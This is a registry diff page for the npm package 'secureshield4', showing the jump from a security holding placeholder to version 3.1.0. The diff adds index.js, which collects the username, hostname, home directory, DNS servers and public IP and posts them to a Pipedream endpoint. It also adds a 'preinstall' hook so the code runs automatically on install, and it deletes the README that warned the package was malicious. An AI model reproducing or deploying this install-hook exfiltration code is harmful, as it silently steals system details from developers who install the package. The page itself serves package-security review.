secureshield4 0.0.1-security → 3.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of secureshield4 might be problematic. Click here for more details.
- package/index.js +63 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,63 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const { execSync } = require("child_process");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const packageName = packageJSON.name;
|
7
|
+
|
8
|
+
// Get `whoami`
|
9
|
+
let whoami;
|
10
|
+
try {
|
11
|
+
whoami = execSync("whoami").toString().trim();
|
12
|
+
} catch (error) {
|
13
|
+
whoami = "unknown";
|
14
|
+
}
|
15
|
+
|
16
|
+
// Get system details
|
17
|
+
const trackingData = {
|
18
|
+
package: packageName,
|
19
|
+
currentDir: __dirname,
|
20
|
+
homeDir: os.homedir(),
|
21
|
+
hostname: os.hostname(),
|
22
|
+
username: os.userInfo().username,
|
23
|
+
dnsServer1: dns.getServers()[0] || "unknown",
|
24
|
+
dnsServer2: dns.getServers()[1] || "unknown",
|
25
|
+
resolved: packageJSON._resolved || "unknown",
|
26
|
+
version: packageJSON.version,
|
27
|
+
whoami: whoami,
|
28
|
+
client_ip: "unknown", // Placeholder
|
29
|
+
};
|
30
|
+
|
31
|
+
// Try to get public IP
|
32
|
+
try {
|
33
|
+
trackingData.client_ip = execSync("curl -s ifconfig.me").toString().trim();
|
34
|
+
} catch (error) {
|
35
|
+
trackingData.client_ip = "unknown";
|
36
|
+
}
|
37
|
+
|
38
|
+
// Send data as **separate JSON fields**
|
39
|
+
const postData = JSON.stringify(trackingData);
|
40
|
+
|
41
|
+
var options = {
|
42
|
+
hostname: "eojbts6a79isegi.m.pipedream.net", // Your Pipedream endpoint
|
43
|
+
port: 443,
|
44
|
+
path: "/",
|
45
|
+
method: "POST",
|
46
|
+
headers: {
|
47
|
+
"Content-Type": "application/json",
|
48
|
+
"Content-Length": postData.length,
|
49
|
+
},
|
50
|
+
};
|
51
|
+
|
52
|
+
var req = https.request(options, (res) => {
|
53
|
+
res.on("data", (d) => {
|
54
|
+
process.stdout.write(d);
|
55
|
+
});
|
56
|
+
});
|
57
|
+
|
58
|
+
req.on("error", (e) => {
|
59
|
+
console.error(e);
|
60
|
+
});
|
61
|
+
|
62
|
+
req.write(postData);
|
63
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "secureshield4",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "3.1.0",
|
4
|
+
"description": "",
|
5
|
+
"license": "ISC",
|
6
|
+
"author": "",
|
7
|
+
"type": "commonjs",
|
8
|
+
"main": "index.js",
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
11
|
+
"preinstall": "node index.js"
|
12
|
+
}
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=secureshield4 for more information.
|